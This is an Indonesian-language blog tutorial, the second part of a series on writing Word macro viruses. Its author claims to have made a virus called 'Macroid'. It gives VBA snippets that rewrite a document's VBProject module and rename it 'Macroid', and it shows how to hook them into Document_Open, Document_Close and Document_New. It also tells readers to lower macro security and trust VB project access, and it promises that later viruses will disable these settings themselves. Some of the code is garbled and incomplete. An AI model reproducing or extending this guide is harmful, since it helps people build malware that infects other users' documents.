Hati –hati dengan source diatas. Karena lumayan bikin pening juga. Tapi maaf ya kalo aku gak bisa jelasinnya sekarang. Karena kalo aku jelasin nanti tutorial ini terlalu panjangggggggggggggggg……. Makanya penjelasan mengenai source di atas aku buat di tutorial kedua.

EFEK-EFEK KECIL DAN TANDA-TANDA TERINFEKSI

Nah coba tebak mana file virus dan mana file yang bukan virus!!!!!!!!

Jawabannya lihat di bawah!!

CARA MEMBUAT VIRUS LANJUTAN

Ini nih, dulu saya udah janji untuk ngelanjutin sample virus macro yang saya buat dulu. Di tutorial kali ini saya akan jelasin sedikit demi sedikit untuk mempelajari virus macro ini…
Pernah dengar virus Macroid? Itu adalah salah satu contoh virus macro yang saya buat.

Langsung aja.

Buka visual Basic editor di Tools>macro>visual basic editor ato tekan pada keyboard Alt+F11

Tampilannya mirip dengan VB6 kita, dan penggunaan sourcenya juga gak jauh beda…
Misalnya :

Dim AD as object

Ya gak. Mirip kan dengan script di VB6? Dan dilanjutkan dengan penggunaan ”set”. Misalnya :

set AD=ActiveDocument.VBProject.VBComponents.Item(1)

ha ha ha… oke deh gak usah main-main. Langsung keserius nya aja…

Script dibawah ini untuk mengubah ”Name” document yang diinfeksi (umumnya ini yang dijadikan sebagai nama virus macro kita)

dim AD as object set AD=ActiveDocument.VBProject.VBComponents.Item(1)

if AD.Name “Macroid” then AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.Name = “Macroid” end if

contoh script diatas adalah untuk mengubah name document menjadi ”Macroid”. (efek ini baru bisa dijalankan setelah virus yang utuh dieksekusi)
Script diatas bisa kamu sisipkan di ”Document_Close()” ato di ”Document_Open()” ato di ”Document_New()”
Kalo disisipkan di “Document_Close()” efeknya akan berjalan saat document ditutup. Dan begitu juga dengan “Document_Open()” dan “Document_new()”
Kalo disisipkan di “Document_Open()” efeknya akan berjalan saat document dibuka.
Kalo disisipkan di “Document_new()” efeknya akan aberjalan saat document baru dibuka.

Ini contoh gambarnya…

Efeknya adalah ini.

Itu tandanya virus “Macroid”!!! ha ha ha… oke.

Sebenarnya saya mau menjelaskan lebih banyak soal trik-trik virus macro, tapi saya yakin sebelum sampai diatas pasti masih banyak masalah untuk kalian…

Sebelumnya kalian harus perhatikan security macro kalian.
Lihat Tools>Macro>security

Yang harus kita pilih adalah opsi ”Low” supaya Ms.Word akan menjalankan semua script di visual Basic Editor. Karena kita masih belajar-belajar biarkan saja kita yang atur security ini, nanti kalo kita udah mau bikin virus macro, ada caranya supaya virus kita yang ngatur security ini… tenang aja…

Setelah kita set securitynya, silakan save document terus hidupkan document kita tadi.

Ada satu lagi masalah… kalo nanti ”misalnya” ada gambar seperti dibawah ini:

Berarti ada hal yang harus kita atur dulu… Buka lagi security macro tadi.
Lalu pada tab Trusted Publishers silakan ceklis “Trust aceess to Visual Basic Project”

Nah klo itu dah dilakukan, maka untuk berikut-berikutnya kalo kita mau ngetes virus macro kita udah bisa boss….

Sekian dulu tutorialnya, tunggu tutorial berikutnya ya….

phooooooto